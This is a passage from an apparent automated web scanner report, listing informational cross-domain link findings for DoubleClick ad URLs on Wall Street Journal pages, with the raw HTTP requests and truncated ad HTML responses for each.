Date: Sat, 14 May 2011 10:29:06 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1213

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.58. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=5;sz=377x135;ord=9772977297729772;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/Control_snippet_creative_377x135.gif

Request

GET /adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=5;sz=377x135;ord=9772977297729772; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 521

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/c;232232591;0-0;11;2921800
...[SNIP]...
;33675-377/135;39182275/39200062/1;;~okv=;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=5;sz=377x135;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT17"><img src="http://s0.2mdn.net/viewad/1952284/Control_snippet_creative_377x135.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.59. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=4;sz=571x208;ord=7863786378637863;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/7-Control_Snippet_creative_571x208.gif

Request

GET /adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=4;sz=571x208;ord=7863786378637863; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 523

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/j;232233036;0-0;16;2921800
...[SNIP]...
;28945-571/208;39182604/39200391/1;;~okv=;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=4;sz=571x208;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT18"><img src="http://s0.2mdn.net/viewad/1952284/7-Control_Snippet_creative_571x208.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.60. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;u=%5E%5E;!category=;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=1;sz=377x50;ord=4347434743474347;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/news_front;u=%5E%5E;!category=;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=1;sz=377x50;ord=4347434743474347; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:48 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1247

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.61. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;ord=8089808980898089;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/2-Upgrade-msg_571x18_yellow.jpg

Request

GET /adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;ord=8089808980898089; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:48 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 514

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/m;232232404;0-0;11;29218002;28583-571/18;39182112/39199899/1;;~okv=;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=3;sz=571x18;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT20"><img src="http://s0.2mdn.net/viewad/1952284/2-Upgrade-msg_571x18_yellow.jpg" border=0 alt="Click Here"></a>
...[SNIP]...

19.62. http://ad.doubleclick.net/adi/interactive.wsj.com/news_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=2;sz=571x47;ord=4387438743874387;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/Control_Snippet_creative_w._login_571x47.gif

Request

GET /adi/interactive.wsj.com/news_front;!category=;page=article;msrc=WSJ_hp_LEFTTopStories;;mc=b2pfreezone;tile=2;sz=571x47;ord=4387438743874387; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:09:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1227

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/Control_Snippet_creative_w._login_571x47.gif" alt="" width="571" height="47" border="0" usemap="#circ_571x47">
<map name="circ_571x47">
...[SNIP]...

19.63. http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_taxreportstory

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory;u=%5E%5ElA;!category=;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=1;sz=377x50;ord=9679967996799679;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/HP_header_control_tile.jpg

Request

GET /adi/interactive.wsj.com/news_taxreportstory;u=%5E%5ElA;!category=;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=1;sz=377x50;ord=9679967996799679; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 11:37:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1289

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/HP_header_control_tile.jpg" width="377" height="50" border="0" usemap="#Mapfeb09_stackedheader" />
<map name="Mapfeb09_stackedheader" id="Map">
...[SNIP]...

19.64. http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_taxreportstory

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=2;sz=571x208;ord=9896989698969896;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/7-FreeReg_msg_v1_571x208.gif

Request

GET /adi/interactive.wsj.com/news_taxreportstory;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=2;sz=571x208;ord=9896989698969896; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 11:37:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 562

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/c;218877890;0-0;2;15067118
...[SNIP]...
y=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=2;sz=571x208;;~aopt=2/1/ff/1;~sscs=%3fhttp://commerce.wsj.com/auth/login?roles=FREEREG-BASE&reg-track-code=fa1_0310"><img src="http://s0.2mdn.net/viewad/1952284/7-FreeReg_msg_v1_571x208.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.65. http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/news_taxreportstory

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/news_taxreportstory;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;ord=8961896189618961;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/WSJ_BN_166_iPad2_377_135_v2.jpg

Request

GET /adi/interactive.wsj.com/news_taxreportstory;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;ord=8961896189618961; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 11:37:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 552

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;223842858;0-0;2;15067118
...[SNIP]...
okv=;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=wsjfreezone;tile=3;sz=377x135;;~aopt=2/1/ff/1;~sscs=%3fhttp://itunes.apple.com/app/the-wall-street-journal/id364387007?mt=8"><img src="http://s0.2mdn.net/viewad/1952284/WSJ_BN_166_iPad2_377_135_v2.jpg" border=0 alt="Click Here"></a>
...[SNIP]...

19.66. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/personalfinance_newsreel

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel;!category=;page=newsReelAd;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=230x70;ord=3780378037803780;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1146650/wsj_wine_230x70.gif

Request

GET /adi/interactive.wsj.com/personalfinance_newsreel;!category=;page=newsReelAd;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=230x70;ord=3780378037803780; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 504

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/a;215945709;0-0;0;31680223
...[SNIP]...
1839-230/70;40077459/40095246/1;;~okv=;!category=;page=newsReelAd;biz=1053;;s=8_10001;mc=b2pfreezone;tile=2;sz=230x70;;~aopt=6/1/ff/1;~sscs=%3fhttp://www.wsjwine.com/2857005?reflink=djm_newsreel_wine"><img src="http://s0.2mdn.net/viewad/1146650/wsj_wine_230x70.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.67. http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/personalfinance_newsreel

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/personalfinance_newsreel;u=%5E%5ElA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;ord=3553355335533553;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/817-grey.gif

Request

GET /adi/interactive.wsj.com/personalfinance_newsreel;u=%5E%5ElA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;ord=3553355335533553; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748703730804576313682030967852
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:16 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 409

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/s;44306;0-0;0;31680223;31596-2/94;0/0/0;u=^^lA;~okv=;u=^^lA;!category=;biz=1053;;s=8_10001;mc=b2pfreezone;tile=1;sz=2x94;;~aopt=2/1/ff/1;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.68. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=4;sz=571x208;ord=4281428142814281;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/7-Control_Snippet_creative_571x208.gif

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=4;sz=571x208;ord=4281428142814281; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:27:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 539

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/c;232233036;0-0;16;4929999
...[SNIP]...
9182604/39200391/1;;~okv=;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=4;sz=571x208;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT18"><img src="http://s0.2mdn.net/viewad/1952284/7-Control_Snippet_creative_571x208.gif" border=0 alt="Click Here"></a>
...[SNIP]...

19.69. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=3;sz=571x18;ord=1185118511851185;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/2-Upgrade-msg_571x18_yellow.jpg

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=3;sz=571x18;ord=1185118511851185; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:27:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 530

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;232232404;0-0;11;4929999
...[SNIP]...
39182112/39199899/1;;~okv=;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=3;sz=571x18;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.wsj.com/sub/xdef/101/6BCWAE_OOT20"><img src="http://s0.2mdn.net/viewad/1952284/2-Upgrade-msg_571x18_yellow.jpg" border=0 alt="Click Here"></a>
...[SNIP]...

19.70. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=2;sz=571x47;ord=8074807480748074;

The response contains the following link to another domain:

http://s0.2mdn.net/1952284/Control_Snippet_creative_w._login_571x47.gif

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;msrc=WSJ_newsreel_personalFinance;s=8_10001;mc=b2pfreezone;tile=2;sz=571x47;ord=8074807480748074; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:27:15 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1263

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1952284/Control_Snippet_creative_w._login_571x47.gif" alt="" width="571" height="47" border="0" usemap="#circ_571x47">
<map name="circ_571x47">
...[SNIP]...

19.71. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/interactive.wsj.com/pf_weekendinvestor

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;;mc=b2pfreezone_super;tile=3;sz=377x135;ord=6499649964996499;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1952284/WSJ_BN_166_iPad2_377_135_v2.jpg

Request

GET /adi/interactive.wsj.com/pf_weekendinvestor;!category=;page=article;;mc=b2pfreezone_super;tile=3;sz=377x135;ord=6499649964996499; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:18:22 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 515

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/u;223842848;0-0;1;49299998;33675-377/135;41133343/41151130/1;;~okv=;!category=;page=article;;mc=b2pfreezone_super;tile=3;sz=377x135;;~aopt=2/1/ff/1;~sscs=%3fhttp://itunes.apple.com/app/the-wall-street-journal/id364387007?mt=8"><img src="http://s0.2mdn.net/viewad/1952284/WSJ_BN_166_iPad2_377_135_v2.jpg" border=0 alt="Click Here"></a>
...[SNIP]...

19.72. http://ad.doubleclick.net/adi/interactive.wsj.com/pf_weekendinvestor previous next

Summary

